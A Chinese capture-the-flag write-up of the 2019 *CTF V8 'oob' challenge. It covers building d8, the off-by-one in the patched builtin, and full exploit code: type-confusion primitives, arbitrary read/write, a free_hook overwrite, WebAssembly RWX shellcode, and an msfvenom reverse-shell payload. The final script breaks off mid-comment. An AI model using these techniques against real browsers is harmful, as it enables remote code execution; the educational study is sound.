一年多前调试的V8的题目了,都忘光了,只记得用了类型混淆,难搞,准备看之前做2019年的*ctf的oob这道题目重新入门一下(这个题解之前的博客上有,但是因为我重新弄了一个博客图床变了,有时间再全迁移到新的上面),不知道V8又多了什么保护机制啥的。

编译V8

额,编译V8就是个大坑。。。

V8chrome中的JS解释器,经过v8编译之后的可执行文件为d8。下载源码的过程需要连接外网,因此可以通过设置代理或者直接在云服务器上操作。

首先安装一些之后用到的工具

1
2
3
4
5
6
7
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
# clone并且configure
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc

接下来就是下载源码

1
2
3
mkdir v8
cd v8
fetch v8

下载源码过程中中断的话,可以使用gclient syc继续下载。

这里我使用的是主机的代理,在系统选项中设置好即可(all_proxy环境变量设置)。但是gclinet syc中的某些命令在设置完代理之后也无法连接google的服务器,这里将download_from_google_storage.py中的下载改写为调用wget下载(改写后的脚本

在编译之前需要将源码的版本reset到和题目一致的版本,并将题目给出的diff文件应用到源码中

1
2
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff

编译

1
2
sudo tools/dev/v8gen.py x64.debug
sudo ../../ninja/ninja -C out.gn/x64.debug d8

这里编译时出现了错误

图片无法显示,请联系作者

应该是gcc/libc版本的问题,在ubuntu 16.04成功编译。

调试V8

V8的官方团队编写了调试V8用的gdbinit,位于tools目录之下,在gdbinit中添加source

1
2
source /home/pwn/Desktop/v8/v8-source/v8/tools/gdbinit
source /home/pwn/Desktop/v8/v8-source/v8/tools/gdb-v8-support.py

在调试时使用allow-natives-syntax能够定义一些V8运行时支持的函数,便于调试。一般调试为gdb ./d8;set args --allow-natives-syntax ./test.js。使用%DebugPrint(var)来输出变量的详细信息,使用%SystemBreak()触发调试中断。job可以可视化的显示JS对象的内存结构,telescope addr [count]可用来输出addr地址之后count长度的内存数据。这里需要注意的是在release版本下没有调试符号没办法调用job命令。编写一个test.js用来调试

1
2
3
4
5
6
7
8
9
var a = [1,2,3];
var b = [1.1, 2.2, 3.3];
var c = [a, b];
%DebugPrint(a);
%SystemBreak(); //触发第一次调试
%DebugPrint(b);
%SystemBreak(); //触发第二次调试
%DebugPrint(c);
%SystemBreak(); //触发第三次调试

gdb运行d8

图片无法显示,请联系作者

首先打印出了变量a的内存地址,接着进入了第一次调试。我们看一下a的内存结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x3d31081081d5
0x3d31081081d5: [JSArray]
- map: 0x3d31082c3865 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3d310828b2b9 <JSArray[0]>
- elements: 0x3d31082920b5 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x3d31080426e5 <FixedArray[0]> {
0x3d310804464d: [String] in ReadOnlySpace: #length: 0x3d3108202161 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3d31082920b5 <FixedArray[3]> {
0: 1
1: 2
2: 3
}

其中map表示了当前结构体的类型,elements表示对象元素,存储数据的地方,length表示元素的个数,properties为属性。这里需要注意的是V8中只有数字和对象两种结构,为了区分二者,V8在所有的对象的内存地址的末尾都加了1。因此该对象的内存地址为0x3d31081081d4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> c
Continuing.
DebugPrint: 0x3d3108108209: [JSArray]
- map: 0x3d31082c3905 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3d310828b2b9 <JSArray[0]>
- elements: 0x3d31081081e9 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x3d31080426e5 <FixedArray[0]> {
0x3d310804464d: [String] in ReadOnlySpace: #length: 0x3d3108202161 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3d31081081e9 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}

int类型和double类型的数组的数据结构相似,elements对象的地址就在array结构的不远处。下面再看看对象数组的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> c
Continuing.
DebugPrint: 0x3d3108108229: [JSArray]
- map: 0x3d31082c3955 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x3d310828b2b9 <JSArray[0]>
- elements: 0x3d3108108219 <FixedArray[2]> [PACKED_ELEMENTS]
- length: 2
- properties: 0x3d31080426e5 <FixedArray[0]> {
0x3d310804464d: [String] in ReadOnlySpace: #length: 0x3d3108202161 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3d3108108219 <FixedArray[2]> {
0: 0x3d31081081d5 <JSArray[3]>
1: 0x3d3108108209 <JSArray[3]>
}

我们可以看到在elements中存储的是两个数组的地址。从上面的分析中我们可以得到不同类型数组的map值是不同的。存储数据的elements对象的地址在数组地址之前,可见首先是分配了存储数据的elements对象,在分配了结构体的内存。

V8对象结构

1
2
3
4
5
6
7
8
9
10
elements------->MAP
Length
element_1
...
element_n
ArrayObject---->MAP
ProtoType
elements指针
Length
properties

漏洞分析

浏览器的CTF一般会采用两种方式,一种是直接给出一个cve漏洞,另一个就是给出一个diff文件,这需要我们自己去下载commit的源码,编译得到diff补丁过的浏览器程序。oob就给出了一个diff文件,这个我们已经编译完成。下面我们分析一下diff文件。

首先先是注册了oob函数,在内部表示为kArrayOob

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",

接着实现了具体的oob函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);

后面的代码将该函数与kArrayOob关联起来。我们主要分析一下oob函数的实现。因为C++成员变量的第一个参数一定是this指针。因此当函数的参数大于1的时候直接返回,当参数没有参数的时候返回length地址处的内容,当参数等于1的时候将第一个参数写入数组的第length位置。

由于数组是从0开始计数的,因此写入第length个位置的时候就存在off-by-one漏洞。

1
2
3
4
5
6
7
8
var a = [1,2.2,3];
%DebugPrint(a);
a.oob();
%SystemBreak(); //触发第一次调试
a.oob(3);
console.log(a.toString());
%DebugPrint(a);
%SystemBreak(); //触发第二次调试

运行到第二次调试之后

图片无法显示,请联系作者

我们可以看到数组存储数据的elements的第length个数据已经被改写为了参数1的浮点类型。并且可以注意到此时覆写的恰好就是数组结构的MAP类型。同时如果将a.oob()输出的浮点值转换为16进制可以得知其就是MAP的值,也就是可以任意读写MAP的属性值。

只有浮点类型的数组,数组结构和elements的结构相邻

漏洞利用

从上述我们可以任意读写数组结构的MAP值,我们可以利用”类型混淆”漏洞。即利用oobA类型的MAP值读取出来并写入到B类型的MAP区域中,就会导致B对象变成了A对象的数据类型,V8就会按照处理A对象的方法处理B对象的相关数据和结构体。

当我们将一个对象数组B的类型改写为浮点类型数据的时候,访问B[0]返回的就是B[0]对象的内存地址了;同理当我们将浮点类型数组A改写为对象数组的时候,访问A[0]就是以A[0]为内存地址的一个JS对象了。

编写addressOf和fakeObject

要编写的两个功能原语addressOf用来泄露某个对象的地址,fakeObject则将一个内存地址伪造为一个对象。

首先定义两个全局对象,获取其对象的MAP

1
2
3
4
5
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

接着是泄露指定对象地址的addressOf函数,这里注意的是我们得到的数据都是浮点类型的数据,而我们需要的是内存中的16进制的数据,因此需要编写转换函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// 泄露指定对象的地址
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;//1n是BigNumber
obj_array.oob(obj_array_map);
return addr;
}

接着是将给定内存地址伪造为指定JS对象的fakeObject,这里只需要修改MAP值就可以了。

1
2
3
4
5
6
7
8
9
// 把某个地址转换为对象
function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake+1n);
// type(float)-->type(obj)
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}

这里需要注意的是V8会给对象的内存地址+1,因此我们获取得到的对象地址需要-1,在写入是需要将内存地址+1

获取任意内存读写

如何凭借上面两个函数实现内存的任意读写呢。如果我们在一块内存区域内布置上伪造的数据结构,通过fakeObject将其强制转换为一个数组对象,由于elements指针是我们可控的,如果我们将该指针修改为我们想要访问的内存地址,后续对该数组对象的访问即为对修改后的内存地址指向的内存区域的访问,也就实现了内存的任意读写。

具体的构造如下,首先我们先创建一个浮点类型的数组对象float_array,可以用addressOf函数来泄露float_array的地址,然后通过elements地址与fake_array结构地址之前的关系即address_elements = address_array - (0x10 + n*8),其中n为数组中元素的个数,既可以到的elements的地址。elements+0x10elements中存储数据的区域。

1
2
3
4
5
6
7
8
var fake_array = [
float_array_map,//fake to be a float arr object
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];

在得到elements+0x10即数据存储区域的地址之后可以利用fakeObject将该部分的内存区域强制转换为对象fake_object,之后我们访问对象fake_object[0]即访问的就是0x41414141+0x10指向的内存地址。任意内存读写的功能原语如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];

var fake_arr_addr = addressOf(fake_array);
var fake_object_addr = fake_arr_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

//randomRead

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
//console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr,data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
//console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

测试一下代码发现已经可以任意读写

图片无法显示,请联系作者

由于后续写入利用浮点类型数组写入会导致地址的低位被修改而无法正常写入,还可以利用DataView对象。DataView对象的backing_store会指向申请的data_buf,将该指针修改为我们想要任意写的内存地址,利用setBigUint64方法即可写入数据

1
2
3
4
5
6
7
8
9
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function writeDataview(addr,data){
write64(buf_backing_store_addr,addr);
data_view.setBigUint64(0,data,true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

Getshell

在传统的pwn中我们通过泄露出libc基址,计算出free_hook,malloc_hook,利用任意写将hook函数修改为system,one_gadget的地址从而实现getshell。这种思路在v8中也同样可以使用

此外,v8中还有一种webassemblywasm技术,使得v8可以直接执行其他高级语言生成的机器码,加快运行效率,存储wasm的内存页是rwx权限的,因此我们可以将shellcode写入到原本属于wasm的内存页中,后续在调用wasm函数接口的时候,实际上就是调用了我们部署的shellcode

传统的堆利用思路

现在已经实现了内存任意写,后面就是泄露libc地址了。

随机泄露

我们用telescope查看JS对象很远的内存区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> telescope 0x000008d78aa0f9c0-0x8000 0x500
00:0000│ 0x8d78aa079c0 —▸ 0x2fd70f04a4b9 ◂— 0x7100002beee20c04
01:0008│ 0x8d78aa079c8 —▸ 0x2fd70f04a4f1 ◂— 0x7100002beee20c04
02:0010│ 0x8d78aa079d0 —▸ 0x2fd70f04a529 ◂— 0x7100002beee20c04
03:0018│ 0x8d78aa079d8 —▸ 0x2fd70f04a561 ◂— 0x7100002beee20c04
...
4ab:2558│ 0x8d78aa09f18 —▸ 0x555555eebe40 ◂— push rbp # d8中的指令
4ac:2560│ 0x8d78aa09f20 —▸ 0x2b619e680b71 ◂— 0x200002b619e6801
4ad:2568│ 0x8d78aa09f28 —▸ 0x555555eebe40 ◂— push rbp

pwndbg> vmmap 0x555555eebe40
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5555557e7000 0x5555562af000 r-xp ac8000 293000 /home/pwn/Desktop/v8/v8-source/v8/out.gn/x64.release/d8 +0x704e40

pwndbg> x/2gx 0x555555eebe40
0x555555eebe40 <v8::(anonymous namespace)::WebAssemblyCompile(v8::FunctionCallbackInfo<v8::Value> const&)>: 0x56415741e5894855 0xec81485354415541

在距离JS对象很远内存区域中一定会存在d8 binary中的指令。而无论ASLR带来的地址如何随机化,其低地址的三个字节一定是0xe40,地址中存储的内容也一定会是0x56415741e5894855

因此只要我们从JS对象的起始地址向低地址处搜索,每次读取8字节内容,如果低3字节的内容为0xe40,且该地址处存储的内容为0x56415741e5894855,则判断该地址即为d8中指令的地址了。获取地址的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
while(1)
{
start_addr -= 0x8n;
leak_d8_addr = read64(start_addr);
if((leak_d8_addr & 0xfffn) == 0x05b0n && read64(leak_d8_addr) == 0x56415741e5894855n)
{
console.log("[*] Success find leak_d8_addr: 0x" + hex(leak_d8_addr));
break;
}
}
console.log("[*] Done.");

运行结果如下

图片无法显示,请联系作者

那么在获取得到d8的指令地址之后,我们就可以计算出d8的基址,读取got表中的malloc,free的地址获取libc基址,覆盖free_hook/malloc_hooksystem/one_gadget即可以getshell。需要注意的是这里借助DataView实现地址写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// libc2.31

var d8_base_addr = leak_d8_addr - 0x997e40n;
var d8_got_libc_start_main_addr = d8_base_addr + 0xd98730n;
console.log("[*] d8_got_libc_start_main_addr: 0x" + hex(d8_got_libc_start_main_addr));

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x1eeb28n;


console.log("[*] find libc addr: 0x" + hex(libc_base_addr));
console.log("[*] find libc system address: 0x" + hex(libc_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
//%SystemBreak();

writeDataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
//%SystemBreak();

由于v8在退出的时候会进行各种各样的free操作,因此一定会触发free。但是此时参数是不可控的,因此我们需要申请一个局部buffer,然后释放从而触发free

1
2
3
4
5
6
7
function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
}
get_shell();

最终可以成功getshell

图片无法显示,请联系作者

稳定泄露

dbug版本中Array->MAP->constructor->code内存的固定偏移处存储了v8二进制中特定的函数调用

图片无法显示,请联系作者

我们看到存在一个Builtins_ArrayConstructor函数的调用。在debug版本中,该函数的地址位于libv8.so中。而在release版本中,在调试中发现MAP结构中并没有存储constructor的地址,而是在数据结构+0x28位置。

图片无法显示,请联系作者

我们看到release版本中存储的Builtins_ArrayConstructor函数调用位于d8中,因此我们就可以泄露出d8中的指令的地址,之后的getshell与随机泄露中相同。

图片无法显示,请联系作者

getshell的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//libc2.31
var a = [1.1, 2.2, 3.3];
//%DebugPrint(a);
var code_addr = read64(addressOf(a.constructor) + 0x30n);
console.log("[*] find addressOf(a.constructor): 0x" + hex(addressOf(a.constructor)));
console.log("[*] find code addr: 0x" + hex(code_addr));
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
//%SystemBreak();

console.log("[*] Done.");

//var d8_base_addr = leak_d8_addr - 0x997e40n;
var d8_base_addr = leak_d8_addr - 0xad54e0n;
var d8_got_libc_start_main_addr = d8_base_addr + 0xd98730n;
console.log("[*] d8_got_libc_start_main_addr: 0x" + hex(d8_got_libc_start_main_addr));

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x1eeb28n;


console.log("[*] find libc addr: 0x" + hex(libc_base_addr));
console.log("[*] find libc system address: 0x" + hex(libc_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
//%SystemBreak();

writeDataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
//%SystemBreak();

function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
}
get_shell();

最终getshell

图片无法显示,请联系作者

wasm Getshell

wasm从安全性上不允许通过浏览器直接调用系统函数,只能运行数学计算,图像处理等系统无关的高级语言代码。因此我们需要将原来wasm可执行内存空间中的代码替换为shellcode,进而执行。

可以从这个网站在线生成wasm的代码,调试的代码如下

1
2
3
4
5
6
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main();
%DebugPrint(f);
%SystemBreak();

我们可以通过Function_Object-->shared_info-->data-->instance,通过instance+0x88既可以找到wasm的可执行内存页的地址

图片无法显示,请联系作者

寻找上面的地址泄露逻辑,可执行内存地址的泄露代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
%SystemBreak();

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

%DebugPrint(f);
%SystemBreak();

可以成功的泄露可执行内存页的地址

图片无法显示,请联系作者

因此后续我们将shellcode写入这个地址就可以在调用wasm函数接口的时候触发我们的shellcode了。shellcode可以在exploit-db中寻找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* /bin/sh for linux x64
char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
*/
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for(var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);

f();

最终可以getshell

图片无法显示,请联系作者

反弹shell

可以用msfvenom来生成反弹shellshellcode

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=3389 -f python -o ~/Desktop/shellcode.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def shell2x64(shellcode):
if len(shellcode) % 8 == 0:
length = len(shellcode)
else:
length = 8 * (len(shellcode) // 8 + 1)
shellcode = shellcode.ljust(length, b"\x90")
i = 0
de_shellcode = ""
while i <= length - 8:
de_shellcode += hex(u64(shellcode[i:i + 8]))
if i != length - 8:
de_shellcode += "n, "
i += 8
print(de_shellcode)

buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
buf += b"\x97\x48\xb9\x02\x00\x0d\x3d\x7f\x00\x00\x01\x51\x48"
buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"
buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"
buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"

shell2x64(buf)

最终监听3389端口getshell

图片无法显示,请联系作者

最终脚本如下`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}

// 泄露指定对象的地址
function addressOf(obj_to_leak){
obj_array[0] = obj_to_leak;
// type(obj)-->type(float)
obj_array.oob(float_array_map);
let addr = f2i(obj_array[0])-1n;
obj_array.oob(obj_array_map);
return addr;
}

// 把某个地址转换为对象
function fakeObject(addr_to_fake){
float_array[0] = i2f(addr_to_fake+1n);
// type(float)-->type(obj)
float_array.oob(obj_array_map);
let fake_obj = float_array[0];
float_array.oob(float_array_map);
return fake_obj;
}

var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];

var fake_arr_addr = addressOf(fake_array);
var fake_object_addr = fake_arr_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);

//randomRead

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
//console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}

function write64(addr,data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
//console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}


var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function writeDataview(addr,data){
write64(buf_backing_store_addr,addr);
data_view.setBigUint64(0,data,true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

/*var a = [1.1, 2.2, 3.3];
//%DebugPrint(a);
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
while(1)
{
start_addr -= 0x8n;
leak_d8_addr = read64(start_addr);
if((leak_d8_addr & 0xfffn) == 0xe40n && read64(leak_d8_addr) == 0x56415741e5894855n)
{
console.log("[*] Success find leak_d8_addr: 0x" + hex(leak_d8_addr));
break;
}
}

var a = [1.1, 2.2, 3.3];
//%DebugPrint(a);
var code_addr = read64(addressOf(a.constructor) + 0x30n);
console.log("[*] find addressOf(a.constructor): 0x" + hex(addressOf(a.constructor)));
console.log("[*] find code addr: 0x" + hex(code_addr));
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));
//%SystemBreak();

console.log("[*] Done.");

//var d8_base_addr = leak_d8_addr - 0x997e40n;
var d8_base_addr = leak_d8_addr - 0xad54e0n;
var d8_got_libc_start_main_addr = d8_base_addr + 0xd98730n;
console.log("[*] d8_got_libc_start_main_addr: 0x" + hex(d8_got_libc_start_main_addr));

var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
var libc_base_addr = libc_start_main_addr - 0x26fc0n;
var libc_system_addr = libc_base_addr + 0x55410n;
var libc_free_hook_addr = libc_base_addr + 0x1eeb28n;


console.log("[*] find libc addr: 0x" + hex(libc_base_addr));
console.log("[*] find libc system address: 0x" + hex(libc_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));
//%SystemBreak();

writeDataview(libc_free_hook_addr, libc_system_addr);
console.log("[*] Write ok.");
//%SystemBreak();

function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn)); // str --> /bin/sh\x00
}
get_shell();*/

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
//%SystemBreak();

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

//%DebugPrint(f);
//%SystemBreak();

/* /bin/sh for linux x64
char shellcode[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53 \x54\x5f\x52\x57\x54\x5e\x0f\x05";
